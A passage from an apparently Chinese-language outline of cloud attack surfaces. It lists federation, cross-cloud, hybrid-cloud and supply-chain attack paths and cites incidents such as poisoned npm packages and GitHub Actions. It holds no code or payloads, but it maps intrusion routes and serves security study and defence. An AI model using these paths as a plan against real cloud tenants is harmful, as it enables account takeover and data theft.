5. 事件桥/编排滥用：EventBridge、Step Functions 编排中的越权
6. 云密钥管理：KMS 密钥策略过宽（其他账号可加密/解密）、CMK自动轮换缺失
7. 静态网站/CDN：CloudFront/OSS静态托管 + 桶策略过宽 → 钓鱼基础设施
8. 消息队列：SQS/SNS/MNS 未授权订阅/消费 → 数据流窃听

九、多云、混合云与云供应链攻击

9.1 多云与身份联邦攻击

1. 身份联邦信任链（SAML/OIDC/SCIM）：
   - 企业IdP（Okta/Entra/钉钉/企业微信）→ 云SSO：IdP被攻破=所有云被接管
   - 云SSO信任策略过宽：允许任意组/角色映射
2. 跨云信任：AWS Organizations ↔ GCP/Azure 的联合身份配置错误
3. 多账号/多租户蔓延：Org/管理组/subscription 管理入口未加固（单点接管）
4. 云间复制/迁移管道：数据迁移任务中凭据与访问控制被忽略
5. SaaS层信任：Salesforce/Slack/Workday集成OAuth token（UNC6395：700+租户数据被窃）

9.2 混合云攻击面

1. VPN/专线（Express Connect/专线/VPN网关）：配置错误/弱认证/未打补丁的VPN设备 → 云内网入口
2. IDC↔云：云上VPC对IDC网段的信任（安全组放行全部IDC IP）→ IDC失陷=云内网失陷
3. 混合云DNS：云内DNS解析到IDC内网地址 → DNS重绑定绕过
4. AD域同步：云上AD连接器/密码哈希同步（AD Connect）→ 云上身份=域身份
5. 云备份↔本地：备份链路弱加密/弱认证

9.3 云供应链攻击（第三方云服务/镜像/依赖）

攻击链与案例：

1. 依赖投毒 → CI/CD执行 → 云凭据窃取 → 云接管：
   - s1ngularity（nx npm投毒，2025.08）：postinstall窃取环境变量/AI工具凭据（QUIETVAULT）
     → UNC6426 借GitHub→AWS OIDC信任72小时拿下AWS管理员
   - tj-actions/changed-files（CVE-2025-30066）、reviewdog/action-setup（CVE-2025-30154）：
     第三方GitHub Actions投毒影响23,000+仓库
   - TanStack事件（CVE-2026-45321）：pull_request_target链式利用，首个带有效SLSA L3
     证明的恶意npm包（自传播蠕虫，170+包受影响）
2. 镜像投毒：恶意基础镜像/Docker Hub抢注/镜像拉取劫持 → 生产集群执行
3. 依赖混淆：私服缺失时，同名公共包（dependency confusion）→ 供应链RCE
4. 第三方云服务供应商：使用SaaS/外包云管理服务 → 供应商失陷=客户云失陷（连坐）